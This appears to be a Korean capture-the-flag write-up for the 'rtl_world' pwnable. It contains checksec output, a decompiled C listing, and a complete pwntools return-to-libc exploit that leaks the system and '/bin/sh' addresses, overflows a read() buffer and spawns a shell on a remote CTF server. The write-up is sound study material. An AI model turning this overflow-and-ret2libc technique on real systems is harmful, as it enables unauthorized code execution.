gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
보호 기법은 위와 같다. NX bit만 걸려있어 쉘코드가 실행 안된다. 따라서 다른 방법을 찾아야 한다.
gdb-peda$ info func
All defined functions:
Non-debugging symbols:
0x08048524 _init
...
0x080485b0 system@plt
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 2 results, display max 2 items:
rtl_world : 0x8048eb1 ("/bin/sh")
libc : 0xf7f641db ("/bin/sh")
system 함수와 "/bin/sh" 문자열이 있는 것을 확인. 아래 코드를 보면 알겠지만 ASLR이 걸려 있어서 실주소를 찾아야 한다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int v4; // [esp+0h] [ebp-A0h]
int v5; // [esp+10h] [ebp-90h]
char buf; // [esp+14h] [ebp-8Ch]
void *v7; // [esp+94h] [ebp-Ch]
void *handle; // [esp+98h] [ebp-8h]
void *s1; // [esp+9Ch] [ebp-4h]
setvbuf(stdout, 0, 2, 0);
handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
v7 = dlsym(handle, "system");
dlclose(handle);
for ( s1 = v7; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 )
;
puts("\n\nNPC [Village Presient] : ");
puts("Binary Boss made our village fall into disuse...");
puts("If you Have System Armor && Shell Sword.");
puts("You can kill the Binary Boss...");
puts("Help me Pwnable Hero... :(\n");
printf("Your Gold : %d\n", gold);
while ( 1 )
{
Menu(v4);
printf(">>> ");
__isoc99_scanf("%d", &v5);
switch ( v5 )
{
case 1:
system("clear");
puts("[Binary Boss]\n");
puts("Arch: i386-32-little");
puts("RELRO: Partial RELRO");
puts("Stack: No canary found");
puts("NX: NX enabled");
puts("PIE: No PIE (0x8048000)");
puts("ASLR: Enable");
printf("Binary Boss live in %p\n", handle);
puts("Binart Boss HP is 140 + Armor + 4\n");
break;
case 2:
v4 = gold;
Get_Money();
break;
case 3:
if ( gold <= 1999 )
{
puts("You don't have gold... :(");
}
else
{
gold -= 1999;
printf("System Armor : %p\n", v7);
}
break;
case 4:
if ( gold <= 2999 )
{
puts("You don't have gold... :(");
}
else
{
gold -= 2999;
printf("Shell Sword : %p\n", s1);
}
break;
case 5:
printf("[Attack] > ");
read(0, &buf, 0x400u);
return 0;
case 6:
puts("Your Not Hero... Bye...");
exit(0);
return result;
default:
continue;
}
}
}
코드에서 알 수 있듯, gold를 벌어서 system주소와 shell 주소를 알아낼 수 있다. 이 주소를 기반으로 case 5의 read함수에서 BOF를 터트리면 된다.
int Get_Money() {
int result; // eax
int v1; // [esp+8h] [ebp-Ch]
int v2; // [esp+Ch] [ebp-8h]
int v3; // [esp+10h] [ebp-4h]
puts("\nThis world is F*cking JabonJui");
puts("1) Farming...");
puts("2) Item selling...");
puts("3) Hunting...");
v3 = 0;
v2 = rand();
printf("(Job)>>> ");
__isoc99_scanf("%d", & v1);
result = v1;
if (v1 == 2) {
puts("\nItem selling...");
while (v3 <= 350)
++v3;
puts("+ 350 Gold");
gold += v3;
result = printf("\nYour Gold is %d\n", gold);
} else if (v1 > 2) {
if (v1 == 3) {
puts("\nHunting...");
while (v3 <= 500)
++v3;
puts("+ 500 Gold");
gold += v3;
result = printf("\nYour Gold is %d\n", gold);
} else if (v1 == 4) {
puts("\nWow! you can find Hidden number!");
puts("Life is Just a One Shot...");
puts("Gambling...");
printf("+ %d Gold\n", v2);
gold += v2;
result = printf("\nYour Gold is %d\n", gold);
}
} else if (v1 == 1) {
puts("\nFarming...");
while (v3 <= 100)
++v3;
puts("+ 100 Gold");
gold += v3;
result = printf("\nYour Gold is %d\n", gold);
}
return result;
item selling과 Hunting을 통해 5000 gold까지 벌고 system과 shell의 주소를 알아낸다. 이후 read함수를 통해 BOF 실행
Exploit Code
from pwn import *
context.log_level = 'debug'
p = remote('ctf.j0n9hyun.xyz', 3010)
def earn():
p.recvuntil(">>> ")
p.sendline("2")
p.recvuntil("(Job)>>> ")
p.sendline("3")
for i in range(0, 8):
earn()
p.sendafter(">>> ", "3\n")
p.recvuntil("System Armor : ")
system = int(p.recv(10), 16)
p.recvuntil('\n')
p.recvuntil(">>> ")
p.sendline("4")
p.recvuntil("Shell Sword : ")
binsh = int(p.recv(10), 16)
payload = "A" * 144
payload += p32(system)
payload += "B" * 4
payload += p32(binsh)
p.recvuntil(">>> ")
p.sendline("5")
p.recvuntil(" > ")
p.sendline(payload)
p.interactive()